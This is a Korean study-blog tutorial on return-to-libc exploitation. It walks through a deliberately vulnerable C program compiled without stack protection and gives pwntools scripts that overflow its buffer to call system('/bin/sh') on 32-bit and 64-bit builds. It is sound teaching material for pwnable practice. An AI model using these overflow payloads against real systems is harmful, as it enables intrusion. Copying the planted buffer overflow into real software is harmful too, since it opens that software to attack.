SDJ( 수돈재 아님 ㅎ )

[Exploitation Technique] RTL 기법 (Return-to-libc) 본문

study/pwnable

[Exploitation Technique] RTL 기법 (Return-to-libc)

ShinDongJun 2020. 2. 4. 16:57

시스템 Exploitation 기법중 RTL에 관한 글이다.

 

  1. RTL ( Return-to-libc ) 기법

  2. 32 bit RTL

  3. 64 bit RTL

로 구성되어있다.

 

이 글을 읽고 나면...

RTL을 연속적으로 트리거하는 RTL chaining에 대해 알아보자.

2020/05/28 - [study/pwnable] - [Exploitation Technique] RTL chaining


RTL ( Return-to-libc ) ?

 

먼저 linux 바이너리에는 Dynamic Linking을 했ㅇ르 시 라이브러리 공유를 위해 코드영역이나 데이터영역에 libc가 로드되어 있다. RTL이란 이렇게 남아있는 libc를 가지고 NX를 우회하는 기법을 의미하는데,

NX는 stack과 같은 부분에 execute 권한을 지워 쉘코드를 실행하지 못하게 하는 보호기법이지만 이 RTL을 통해 NX를 우회할 수 있다.

 

RTL을 하기위해 32 bit와 64 bit 코드 둘다 같은 코드를 사용했다.

/*

file : RTL.c

x86 compile    : gcc -o RTL_x86 RTL.c -fno-stack-protector -m32
x86_64 compile : gcc -o RTL_x86_64 RTL.c -fno-stack-protector

*/
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

char *global = "/bin/sh\x00";

void hidden()
{
	system("date");
}

void Hello()
{
	char buf[0x10];
	printf(">> ");
	read(0, buf, 0x100);

	return;
}

void func(int a, int b, int c)
{
	return;
}

int main(void)
{
	func(0x10, 0x100, 0x1000);
	Hello();
	return 0;
}

system도 주고 "/bin/sh"도 준다 와! RTL!

 

만약 컴파일할 때 -m32에 대해 오류가 뜬다면

32 bit 컴파일을 위한 라이브러리가 없어서 그러므로 아래 명령어로 gcc 패키지를 추가로 설치해 주면 된다.

sudo apt-get install gcc-multilib

전부 컴파일이 끝났다면 RTL을 해보자.

 


x86 ( 32 bit ) RTL

먼저 32 bit RTL을 하기 전에 32bit가 함수 인자를 어떻게 주는지 확인 해야한다.

x86에서는 __cdecl를 사용한다.

 

main함수를 어셈블리어로 보면

pwndbg> disassemble main
Dump of assembler code for function main:
   0x080484b9 <+0>:	lea    ecx,[esp+0x4]
   0x080484bd <+4>:	and    esp,0xfffffff0
   0x080484c0 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484c3 <+10>:	push   ebp
   0x080484c4 <+11>:	mov    ebp,esp
   0x080484c6 <+13>:	push   ecx
   0x080484c7 <+14>:	sub    esp,0x4
   
   0x080484ca <+17>:	push   0x1000
   0x080484cf <+22>:	push   0x100
   0x080484d4 <+27>:	push   0x10
   0x080484d6 <+29>:	call   0x80484b3 <func>
   
   0x080484db <+34>:	add    esp,0xc
   0x080484de <+37>:	call   0x8048484 <Hello>
   0x080484e3 <+42>:	mov    eax,0x0
   0x080484e8 <+47>:	mov    ecx,DWORD PTR [ebp-0x4]
   0x080484eb <+50>:	leave  
   0x080484ec <+51>:	lea    esp,[ecx-0x4]
   0x080484ef <+54>:	ret    
End of assembler dump.

  중간에 0x1000, 0x100, 0x10을 push하고 func을 집어넣는것을 볼 수 있다.

C언어 코드로 볼 때는

	func(0x10, 0x100, 0x1000);

다음과 같이 넣었으므로 오른쪽부터 push한것을 알 수 있다.

 

즉, 32 bit는 함수의 인자를 넣을 때 오른쪽부터 stack에 push한뒤 함수를 호출한다.

이것을 이해하고 넘어가자.

 

이제 RTL을 할껀데 바이너리에는 system 함수도 있고 /bin/sh 문자열도 있다.

저걸 찾아보자.

plt( procedure linkage table )에 가보면 system의 plt가 존재하므로 이것을 챙겨주자.

plt는 dynamic linking을 할 때 got와 함께 함수를 불러올 때 사용되는 부분이라고 생각하면 된다.

자세한거는 검색해보시는것을 추천!

 

문자열 /bin/sh 역시 우리가 전역변수에 써줌으로써 데이터영역에서 쉽게 찾을 수 있다.

/bin/sh문자열의 경우에는 libc에도 존재하겠지만 나같은경우 전역변수에 써준 문자열을 썼다.

libc는 libc를 leak해야 알 수 있으니까 ROP에서 도전

 

따라서 system과 /bin/sh를 찾았고 

ret에 system plt + dummy(4 byte) + /bin/sh 문자열 주소 를 덮어주면 Hello함수가 ret을 할 때 원래라면 정상적으로 main으로 돌아가야겠지만 system plt가 호출되어있고 인자 위치에 /bin/sh가 들어있게 되므로 system("/bin/sh")를 호출하게 될 것이다.

 

system plt와 /bin/sh 사이에 dummy를 넣는 이유는 dummy의 위치가 system함수의 ret위치라고 생각하면 된다. system이 끝나면서 돌아갈 위치.

 

exploit code

from pwn import *

p = process("./RTL_x86")

system = 0x8048340
bin_sh = 0x8049570

pay = ''
pay += 'a'*0x18
pay += 'XXXX'			# sfp
pay += p32(system)		# ret
pay += 'yyyy'			# system ret
pay += p32(bin_sh)
p.send(pay)

p.interactive()

 

이 코드를 실행시키면 쉘이 따지긴 따지는데, 'yyyy'가 system의 RET위치기 때문에 쉘을 exit할 경우

아래 사진처럼 segmentation fault가 뜨게 된다.

코어를 확인해보면

yyyy에서 죽은 걸 알 수 있다.

따라서 이걸 이용해 나중에 ROP도 할 수 있게 된다.

 

결론 : 32 bit는 함수 인자를 스택에 저장한다.

 


x86_64 ( 64 bit ) RTL

 

이제 64 비트 RTL을 해보자.

x64는 단 하나의 함수 호출 규약을 사용한다고 하는데 이름은 system v amd64 calling convention를 사용한다고 한다.

 

근데 사실 64비트도 32 bit와 다를게 없다

 

32 bit가 스택에 인자를 저장한다면, 64 bit는 레지스터에 인자를 저장한다.

 

위에서 적은 예제를 통해 이해해보자

	func(0x10, 0x100, 0x1000);

 위에서 다음과같은 코드를 썼는데

이것을 64 bit로 보면

 

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000400607 <+0>:	push   rbp
   0x0000000000400608 <+1>:	mov    rbp,rsp
   
   0x000000000040060b <+4>:	mov    edx,0x1000
   0x0000000000400610 <+9>: 	mov    esi,0x100
   0x0000000000400615 <+14>:	mov    edi,0x10
   0x000000000040061a <+19>:	call   0x4005f7 <func>
   
   0x000000000040061f <+24>:	mov    eax,0x0
   0x0000000000400624 <+29>:	call   0x4005c7 <Hello>
   0x0000000000400629 <+34>:	mov    eax,0x0
   0x000000000040062e <+39>:	pop    rbp
   0x000000000040062f <+40>:	ret    
End of assembler dump.

다음과 같이 mov edx, 0x100, mov esi, 0x100, mov edi, 0x10 처럼

레지스터에 값을 저장하고 함수를 호출한다.

 

그래서 우리는 인자 순서를 외워야 한다.

32 bit 에서는 오른쪽에서 왼쪽으로 push만 했다면 64 bit는 레지스터에 값이 들어가기 때문에 순서를 외워줘야 한다.

레지스터는 rdi, rsi, rdx, rcx, r8, r9 ... 순으로 들어간다.

위에서 본 예시로 보자면 edi = rdi = 0x10, esi = rsi = 0x100, edx = rdx = 0x1000을 하고 call func를 한 순서대로이다.

 

따라서 이것을 그래도 옮겨와서 64 bit RTL을 하면 된다.

 

plt에 system plt를 가져오고

data영역의 /bin/sh 문자열을 가져와서 RTL을 하자.

 

rdi에 /bin/sh를 넣기 위해 pop rdi ; ret 가젯도 가져오자.

 

다만 주의할 점은 함수를 호출하기 전 레지스터에 미리 인자들을 넣어줘야한다.

 

exploit code

from pwn import *

p = process("./RTL_x86_64")

system = 0x400470
bin_sh = 0x6006b4
pop_rdi = 0x0000000000400693

pay = ''
pay += 'a'*0x10
pay += 'X'*8			# sfp
pay += p64(pop_rdi)		# ret
pay += p64(bin_sh)
pay += p64(system)
pay += 'Y'*8 			# system ret
p.send(pay)

p.interactive()

 

결론 : 64 bit는 함수 인자를 레지스터에 저장한다.

Comments